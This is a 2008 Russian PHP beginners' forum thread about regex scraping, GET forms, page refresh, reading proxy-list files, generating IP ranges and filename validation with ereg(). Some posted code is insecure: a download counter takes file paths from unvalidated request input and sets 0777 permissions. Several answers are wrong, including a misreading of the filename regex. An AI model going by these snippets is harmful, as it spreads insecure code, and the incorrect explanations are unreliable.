<form method="get" action="http://domain.ru/search.php" name="audioSearch">
<input type=text name=q>
</form>
Оно?
Так там и стоит, то что мне нужно action="http://domain.ru/search.php?q="
а зачем "?q=" ?
Если у тебя есть input с именем q, то это уже означает. что ?q= будет добавлен автоматом
а зачем "?q=" ?
Если у тебя есть input с именем q, то это уже означает. что ?q= будет добавлен автоматом
тока если GET
тока если GET
Что-то мне подсказывает, что автор хочет именно GET, судя по его action="...?q=" :)
Вопрос по регулярным выражениям строки такого типа
<a href="http://www.politics1.com/" class=l onmousedown="return clk(this.href,'','','res','45','')">Politics1 - American Politics, Elections, Candidates & Campaigns</a> Как будут выглядеть? интересует именно ссылка. Пробовал, экспериментировал, пришёл к такому результату '#<a href="(\S+)[\s]class=1[\s].*</a>#i' Но это оказалось неправильно, т.к результат не выводится.
Вопрос по регулярным выражениям строки такого типа
<a href="http://www.politics1.com/" class=l onmousedown="return clk(this.href,'','','res','45','')">Politics1 - American Politics, Elections, Candidates & Campaigns</a> Как будут выглядеть? интересует именно ссылка. Пробовал, экспериментировал, пришёл к такому результату '#<a href="(\S+)[\s]class=1[\s].*</a>#i' Но это оказалось неправильно, т.к результат не выводится.
попробуй '/\<a.+?href="(.*?)".*?\>(.+?)\<\/a\>/'
<?php
preg_match("#<a href=\"(.*?)\" class=#", $link, $s);
print_r($s);
?>
Buffalon
14.04.2008, 21:05
.А есть ли код который сжимаетстаницу до max'имума... .Затем я принимаю эту субстанцию ,и некоторый код ее разжимает и выводит в браузер... .А то подумал на тему того как зверско интернет кушает наш траф... .
Buffalon
14.04.2008, 21:50
gzip
так уж и до максима?
помогите с регулярным выражением плиз
есть некий текст
в нём встречаются шаблоны типа
$creativeData = "<td bgcolor=#fafa99><p style='font-size: 10pt;letter-spacing: 0.0pt;'><b>Дикс</b> : Орган <a href=\"text.phtml?storycode=23375/i";
где меняются слова "Дикс", "Орган" и "23375"
я использую
preg_match_all($creativeData, $content, $array);
чтобы сохранить все подобные строки в массив array, но получаю
Warning: preg_match_all() [function.preg-match-all]: Unknown modifier '<' in ...
а если проставить слеши перед каждой угловой скобкой в паттерне
Warning: preg_match_all() [function.preg-match-all]: Delimiter must not be alphanumeric or backslash in ...
помогите с регулярным выражением плиз
http://www.php.su/functions/?preg-match-all
помогите с регулярным выражением плиз
есть некий текст
в нём встречаются шаблоны типа
$creativeData = "<td bgcolor=#fafa99><p style='font-size: 10pt;letter-spacing: 0.0pt;'><b>Дикс</b> : Орган <a href=\"text.phtml?storycode=23375/i";
где меняются слова "Дикс", "Орган" и "23375"
я использую
preg_match_all($creativeData, $content, $array);
чтобы сохранить все подобные строки в массив array, но получаю
а если проставить слеши перед каждой угловой скобкой в паттерне
Помогите с регулярными выражениями....а где твоя регулярка с которой тебе нужно помочь то...мы ведь не телепаты.
оО а вы ничего не забыли ?
preg_math_all('#регулярка#',$content, $array)
astrologer
14.04.2008, 22:22
Просто надо заключить всё, что находится в переменной $creativeData в ограничители.
Например, так:
$creativeData = "~<td bgcolor=#fafa99><p style='font-size: 10pt;letter-spacing: 0.0pt;'><b>Дикс</b> : Орган <a href=\"text.phtml?storycode=23375/i~";
такой вопрос..
Есть домен http://domen.com
нужно зделать так что бы при наборе пользователем
http://domen.com/123 или http://domen.com/1dsfdsfб или http://domen.com/dsfasdf
вообщем любой комбинации после слеша /****** пользвателя редиректило на заданный урл или на главную страницу этого сайта
http://www.OPENNET.ru/docs/RUS/mod_rewrite/
Помогите с регулярными выражениями....а где твоя регулярка с которой тебе нужно помочь то...мы ведь не телепаты.
как я понял ему нужно помощь по описанию preg_match_all...
вернее помочь составить выражение
хотя в ссылке все описано повторю...
preg_match_all ( string pattern, string subject, array &matches)
Ищет в строке subject все совпадения с шаблоном pattern и помещает результат в массив matches
надеюсь понятно? ))
как я понял ему нужно помощь по описанию preg_match_all...
вернее помочь составить выражение
.............
Ищет в строке subject все совпадения с шаблоном pattern и помещает результат в массив matches
надеюсь понятно? ))
обычно вызывает проблема как раз таки c совпадения с шаблоном
как сделать чтоб страничка обновлялась каждые 10 секунд (или любой другой промежуток времени)? И вообще какие функции и как их используют для обновления странички?
в заголовке страницы
<HTML>
<HEAD>
<TITLE> ... </TITLE>
<meta http-equiv="refresh" content="10;URL=http://www.mysite.com/page.html">
</HEAD>
<BODY ....
через 10 секунд браузер полезет на указанный адрес
_http://www.mixei.ru/showthread.php?p=620036
или ето нужно зделать именно на РНР ?
В самый верх сраницы
<?php
header('Location: index.php');
?>
а если сделать в Php чтоб через определенное время функция обновила страничку.
<script language="javascript" type="text/javascript">
<!--
window.setTimeout("window.location.href = 'http://url'", 5000);
//-->
</script>
Как бы пхп скрипт выполняется на стороне сервера, а т.к. тебе нужно обновить окно у клиента то тут либо HTML либо AJAX(JS)
да, мне нужно из строки
$creativeData = "~<td bgcolor=#fafa99><p style='font-size: 10pt;letter-spacing: 0.0pt;'><b>Дикс</b> : Орган <a href=\"text.phtml?storycode=23375/i~";
сделать регулярку. Но я не понимаю, как проставить слеши - без слешей одна ошибка, со слешами - другая.
Я понимаю что вместо ключевых слов "Дикс", "Орган" и "23375" мне надо вставить (.*) (ну или соответствующие регулярки. это я сделаю)
да, мне нужно из строки
$creativeData = "~<td bgcolor=#fafa99><p style='font-size: 10pt;letter-spacing: 0.0pt;'><b>Дикс</b> : Орган <a href=\"text.phtml?storycode=23375/i~";
сделать регулярку. Но я не понимаю, как проставить слеши - без слешей одна ошибка, со слешами - другая.
Я понимаю что вместо ключевых слов "Дикс", "Орган" и "23375" мне надо вставить (.*) (ну или соответствующие регулярки. это я сделаю)
покажи твою регулярку
а лучше полностью твой кусок кода
Red_Red1
15.04.2008, 09:26
2 Дикс
Может тебе это поможет
<b>(.+?)<\/b>\s:\s(.+?)\s.*?storycode=(\d+)
Эта регулярка вытягивает из твоей строки нужные тебе слова. 1 карман - "Дикс" 2 - "Орган" 3 - номер
спасибо, вроде похоже на правду.
А что тут не понятного ... всё делается через mod_rewrite
if($action=="count"){
if(!empty($did) && !empty($zen)){
if(@file ("$did/$zen"))
{
$f = @file(BASEDIR."local/datadown/$zen.dat");
$u = explode("|",$f[0]);
$g=trim($u[0]+1);
$t=$g.'|'.$u[1].'|'.$u[2].'|'.$currDate.' ('.$currTime2.')|'.$did.'|';
$t=str_replace("\r\n","",$t);
$rd=0;
$file=file(BASEDIR."local/datadown/$zen.dat");
$fp=fopen(BASEDIR."local/datadown/$zen.dat","a+");
flock ($fp,LOCK_EX);
ftruncate ($fp,0);
for ($i=0;$i< sizeof($file);$i++) {if ($rd!=$i) {fputs($fp,$file[$i]);} else {fputs($fp,"$t\r\n");}}
fflush ($fp);
flock ($fp,LOCK_UN);
fclose($fp);
chmod ($fp, 0777);
chmod (BASEDIR."local/datadown/$zen.dat", 0777);
}else{echo"<br>Ошибка, невозможно найти требуемый вам файл $did/$zen<br>";}
}else{echo"<br>Отсутствуют важные данные<br>";}
}
- это счётчик считающий файлы, тоесть если к нему обратится, где $did - папка с файлом, а $zen - полное название файла с расширением, он создаст в папке ../local/datadown/'файл с таким же названием' - но почему то если файлы большим размером так пропускать, то такой файл несаздаётся... почему?...
погугли на тему ЧПУ.
на опеннете есть подробная документация про mode_rewrite
если прочтешь поймешь
зы на нулледе даже подраздел есть такой где обсуждаеться все это дело. готовые решения здесь, имхо, тебе давать будут только в том случае если этого решения не найти в гугле. тоесть вероятность того что тебе дадут готовое решение стремится к нулю
Вопрос по открытию файла и использование строк файла как массива..Вообщем вот сужествует файл proxy.txt. Надо что бы файл открывался и затем по отдельности каждая строка массива использовалась в цикле.. К примеру даже такой вариант открытия файла и вывода его составляющих не работает:
$proxy=file('list.txt');
$proxy=explode("\r\n",$proxy);
foreach($proxy as $result)
{
echo $result."<br>";
}
Почему не работает(((?
у меня вопрос как можно преобразовать маску типа 192.68.[0-10].[0-255]
в обычный массив?
2Zircool
<?php
$proxy=file('list.txt');
for ($x=0; $x < count ($proxy); $x++)
{
echo $proxy[$x]."<br>";
}
?>
Vid0k.........
<?php
for($i=0;$i<11;$i++)
{
for($j=0;$j<256;$j++)
{
$res[]="192.68.".$i.".".$j."<br>";
foreach($res as $list)
{
echo $list;
}
}
}
?>
m0nsieur
16.04.2008, 01:07
Вопрос по открытию файла и использование строк файла как массива..Вообщем вот сужествует файл proxy.txt. Надо что бы файл открывался и затем по отдельности каждая строка массива использовалась в цикле.. К примеру даже такой вариант открытия файла и вывода его составляющих не работает:
$proxy=file('list.txt');
//$proxy=explode("\r\n",$proxy);
foreach($proxy as $result)
{
echo $result."<br>";
}
Почему не работает(((?
Вот так попробуй. В этом не было смысла - $proxy=explode("\r\n",$proxy); Ведь на выходе file() массив, а explode() делит СТРОКУ на строки. Вот поэтому explode() получала массив и не могла с ним ничего сделать.
2 .:EnoT:. это не врите =)))
.:EnoT:.
16.04.2008, 01:10
Вопрос по открытию файла и использование строк файла как массива..Вообщем вот сужествует файл proxy.txt. Надо что бы файл открывался и затем по отдельности каждая строка массива использовалась в цикле.. К примеру даже такой вариант открытия файла и вывода его составляющих не работает:
$proxy=file('list.txt');
$proxy=explode("\r\n",$proxy);
foreach($proxy as $result)
{
echo $result."<br>";
}
Почему не работает(((?
не работает потому что функция file() уже помещает содержимое в массив, а ты ещё раз помещаешь с помощью explode(), убирай строку $proxy = explode("\r\n",$proxy); и всё будет работать.
m0nsieur взял мои мысли спёр =//
Vid0k.........
<?php
for($i=0;$i<11;$i++)
{
for($j=0;$j<256;$j++)
{
$res[]="192.68.".$i.".".$j."<br>";
foreach($res as $list)
{
echo $list;
}
}
}
?>
работает но как то криво
192.68.0.0
192.68.0.0
192.68.0.1
192.68.0.0
192.68.0.1
192.68.0.2
192.68.0.0
192.68.0.1
192.68.0.2
192.68.0.3
192.68.0.0
192.68.0.1
192.68.0.2
192.68.0.3
192.68.0.4
192.68.0.0
192.68.0.1
192.68.0.2
192.68.0.3
192.68.0.4
192.68.0.5
192.68.0.0
192.68.0.1
192.68.0.2
192.68.0.3
192.68.0.4
192.68.0.5
192.68.0.6
192.68.0.0
192.68.0.1
192.68.0.2
192.68.0.3
192.68.0.4
192.68.0.5
192.68.0.6
192.68.0.7
192.68.0.0
192.68.0.1
192.68.0.2
192.68.0.3
192.68.0.4
192.68.0.5
192.68.0.6
192.68.0.7
192.68.0.8
192.68.0.0
192.68.0.1
192.68.0.2
192.68.0.3
192.68.0.4
192.68.0.5
192.68.0.6
192.68.0.7
192.68.0.8
192.68.0.9
192.68.0.0
192.68.0.1
192.68.0.2
192.68.0.3
192.68.0.4
192.68.0.5
192.68.0.6
192.68.0.7
192.68.0.8
192.68.0.9
192.68.0.10
192.68.0.0
192.68.0.1
192.68.0.2
192.68.0.3
192.68.0.4
192.68.0.5
192.68.0.6
192.68.0.7
192.68.0.8
192.68.0.9
192.68.0.10
192.68.0.11
192.68.0.0
192.68.0.1
192.68.0.2
192.68.0.3
192.68.0.4
192.68.0.5
192.68.0.6
192.68.0.7
192.68.0.8
192.68.0.9
192.68.0.10
192.68.0.11
192.68.0.12
192.68.0.0
192.68.0.1
192.68.0.2
192.68.0.3
192.68.0.4
192.68.0.5
192.68.0.6
192.68.0.7
192.68.0.8
192.68.0.9
192.68.0.10
192.68.0.11
192.68.0.12
192.68.0.13
192.68.0.0
192.68.0.1
192.68.0.2
192.68.0.3
192.68.0.4
192.68.0.5
192.68.0.6
192.68.0.7
192.68.0.8
192.68.0.9
192.68.0.10
192.68.0.11
192.68.0.12
192.68.0.13
192.68.0.14
192.68.0.0
192.68.0.1
192.68.0.2
192.68.0.3
192.68.0.4
192.68.0.5
192.68.0.6
192.68.0.7
192.68.0.8
192.68.0.9
192.68.0.10
192.68.0.11
192.68.0.12
192.68.0.13
192.68.0.14
192.68.0.15
и мне надо преобразовать строку полученную
с формы в массив
чтобы на выходе получить что типа
$mass[0]=192.68.0.0
$mass[1]=192.68.0.1
.
.
.
$mass[$i]=192.68.255.255
Vid0k.. Вот так вот, но кривоват несного код, уверен проще можно сделать.
<?php
for ($i=0;$i<256;$i++)
{
echo "192.168.0.".$i."<br>";
}
for ($i=0;$i<256;$i++)
{
echo "192.168.1.".$i."<br>";
}
for ($i=0;$i<256;$i++)
{
echo "192.168.2.".$i."<br>";
}
for ($i=0;$i<256;$i++)
{
echo "192.168.3.".$i."<br>";
}
for ($i=0;$i<256;$i++)
{
echo "192.168.4.".$i."<br>";
}
for ($i=0;$i<256;$i++)
{
echo "192.168.5.".$i."<br>";
}
for ($i=0;$i<256;$i++)
{
echo "192.168.6.".$i."<br>";
}
for ($i=0;$i<256;$i++)
{
echo "192.168.7.".$i."<br>";
}
for ($i=0;$i<256;$i++)
{
echo "192.168.8.".$i."<br>";
}
for ($i=0;$i<256;$i++)
{
echo "192.168.9.".$i."<br>";
}
for ($i=0;$i<256;$i++)
{
echo "192.168.10.".$i."<br>";
}
?>
По поводу массива несного не понял, можешь результат каждого цикла длбавить в массив, а потом сложить массивы.
Верхний код убил....
Юзай foreach и аналог будет 3 строки
Нака
<?php
for ($i=0;$i<=255;$i++) {
for ($r=0;$r<=255;$r++) {
$c = $i*255+$r;
$mass[$c] = "192.168.$i.$r";
}
}
?>
$mass такой как ты хотел
Zircool
все что ты написал можно уместить в 5 строчках
<?php
for($i=0;$i<256;$i++) {
for($j=0;$j<256;$j++){
echo "192.168.".$i.".".$j."<br>";
}}?>
проблемы не в этом
еще раз повторю я не знаю как преобразовать
маску типа 192.68.[0-10].[0-255]
в массив!!!!
====================================
я получил с формы 192.68.[0-10].[0-255] и положил
в переменную $maska так вот как мне из строковой переменной получить массив
Ладно забейте сделаю по другому всем спасибо за ответы
В чем может быть ошибка?
Invalid argument supplied for foreach()
Раньше удавалось как-то что-то исправить, а сейчас смотрю на код и не понимаю что неправильно.while ($an=mysql_fetch_assoc($sel)) {
$recieverid= $an['recieverid'];
$level= $an['level'];
$places= $an['places'];
$edits= $an['edits'];
$points= $an['edits'];
if ($an['value'] == 2)
{
$value = 1;
$goodvotes[$recieverid] = $goodvotes [$recieverid] + $value;
}
elseif ($an['value'] == 1)
{
$value = -1;
$badvotes[$recieverid] = $badvotes [$recieverid] + $value;
} }
foreach( $level as $id => $vote ){
$sqlline="update reyt set level = $vote where id = $id";
$sel=mysql_query($sqlline); }
foreach( $places as $id => $vote ){
$sqlline="update reyt set places = $vote where id = $id";
$sel=mysql_query($sqlline); }
foreach( $edits as $id => $vote ){
$sqlline="update reyt set edits = $vote where id = $id";
$sel=mysql_query($sqlline); }
foreach( $points as $id => $vote ){
$sqlline="update reyt set points = $vote where id = $id";
$sel=mysql_query($sqlline); }
stomp, возможно какие-то из значений
[code]<?php
$recieverid= $an['recieverid'];
$level= $an['level'];
$places= $an['places'];
$edits= $an['edits'];
$points= $an['edits'];
?>[/php]
А конкретнее значения в этих колонках в бд...
Buffalon
16.04.2008, 12:08
Как вот отсюда
получить 2064385.html?
<span class='content_arial'><a class='td' href='/rus/online/62/2064385.html'>В первом квартале 2008 года инвестиции операторов связи в Украине составили 2,7 млрд. грн.</a></span>
Согласен что preg_match('/(\d+)\.html/s',$string,$result);
А как по людски?
Buffalon
16.04.2008, 13:10
Piflit молодец... .
А вот тут посложнее
Вот с этим никак ниогу разобраться(((
###
....
.....
<table width='100%'>
<tr>
<td valign='top' style='PADDING-LEFT: 10px;'>
<span class='date'>[16.04.2008 10:13] Фондовый рынок</span><br>
<span class=topcontent>В первом квартале 2008 года инвестиции операторов связи в Украине составили 2,7 млрд. грн.</span><br>
<br>
<span class='show_detail'>
<P>Киев. 16 апреля. УНИАН. В первом квартале 2008 года инвестиции операторов связи в Украине составили 2,7 млрд. грн. Об этом УНИАН сообщили в пресс-службе Госсвязи.<br>При этом объем капитальных инвестиций, направленных операторами всех форм собственности на развитие отрасли или на развитие телекоммуникационной сети в Украине, составил около 2,7 млрд. грн., и 97% из этих инвестиций были осуществлены за счет собственных средств операторов, а 3% - за счет средств иностранных инвесторов и кредитов банков.<br>Государственными предприятиями на развитие и капитальный ремонт в январе-марте 2008 года было направлено около 10 млн. грн. капитальных инвестиций, что вдвое превышает показатель аналогичного периода 2007 года, из которых 75% были за счет собственных средств и 25% - за счет кредитов отечественных банков.<br>Справка УНИАН. На протяжении 2007 года операторами всех форм собственности в Украине на развитие отрасли информационно-коммуникационных технологий (ИКТ) в 2007 году использовано 10 млрд. 353,9 млн. грн. капитальных инвестиций. При этом 83% капитальных инвестиций обеспечено за счет собственных средств, 12% - за счет кредитов банков и других заимствований, 5% - за счет средств иностранных инвесторов.</P>
</span>
</td>
</tr>
</table>
....
.....
Нужно вот этот большой текст вытащить... .
Не самый красивый, но рабочий вариант :
~<span class='show_detail'>[^<]*<P>((:?[^<]+|<br>)+)</P>[^<]*</span>~
Не самый красивый, но рабочий вариант :
~<span class='show_detail'>[^<]*<P>((:?[^<]+|<br>)+)</P>[^<]*</span>~
#<p>(.*)</p>#is
2Piflit опередил (*
если не трудно можно обяснить почему (.*) вместо (\w*). ведь насколько я помню \w - all printable characters
2Piflit опередил (*
если не трудно можно обяснить почему (.*) вместо (\w*). ведь насколько я помню \w - all printable characters
там есть пробелы и символы переноса строки
тоесть пробелы, сиволы переноса строки итд итп в \w не входят, да? ну чтож спасибо (*
тоесть пробелы, сиволы переноса строки итд итп в \w не входят, да? ну чтож спасибо (*
[a-zA-Z_0-9]
Кстате помойму лучше здесь использовать (.+) тогда между тэгами обязан быть хотяб один символ
Привет у меня возник вопрос! Вот учу я ООП в пхп и не как не пойму когда нужно использовать ООП по мне так это просто набор функция в какой нибудь группе.
Может обьясните смысл использования ООП !?
Концепция ООП определяет иерархию объектов - классов...
PS:
http://ru.wikipedia.org/wiki/Объектно-ориентированное_программи ование
Евгений Минаев
16.04.2008, 22:05
Понимание объектно ориентированного программирования, а точнее понимание зачем, как и когда его использовать приходит с опытом и зависит от конкретной задачи. Если ты не знаешь зачем нужен ООП то вероятно он тебе не нужен, а делать как делают другие - не вариант. Со временем ты поймешь когда надо применить технологи. вида модель - видение - контролер, паттерны и интерфейсы. Если тебе все же неймется списать код с книжки, то думаю лучше это делать в php 5, чтобы не разочароваться в скудных возможностях четвертой ветки в плане ооп.
phol1eadeux
16.04.2008, 22:13
Doom123, будешь работать над серьезными проектами - поймешь
m0nsieur
17.04.2008, 10:19
Привет у меня возник вопрос! Вот учу я ООП в пхп и не как не пойму когда нужно использовать ООП по мне так это просто набор функция в какой нибудь группе.
Может обьясните смысл использования ООП !?
Почитай - http://habrahabr.ru/blog/php/40012.html#habracut
Возможно найдешь ответ на свой вопрос.
народ, на что проверяется имя файла подскажите плиз, а то не нашол описания функции ereg()
if (!ereg("^[[:alnum:]_\.-]+$", $_REQUEST['filename']))
die("internal error: bad filename");
а то не нашол описания функции ereg()
врешь (*
http://php.net/manual/en/function.ereg.php
врешь (*
http://php.net/manual/en/function.ereg.php
йа смарю на php.su, там не нашол
ну это ясно, а вот регулярные выражения это для меня лес, только вот не пойму я имя файла ваще написал короче некуда asd.exe, все равно пишет что неправильно
кажись проверяет на то чтобы там небыло цифр, знака подчеркивания, знака минуса и точки. или наоборот чтобы в имени файла были только цифры, знак подчеркивания, точка и минус
да и собстенно курение манов функции ereg ничего нормального тебе не даст (* тебе нужно регулярки учить
2Корвин
не должен начинатся на цифры,буквы нижнего и верхнего регистра и символоы -.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot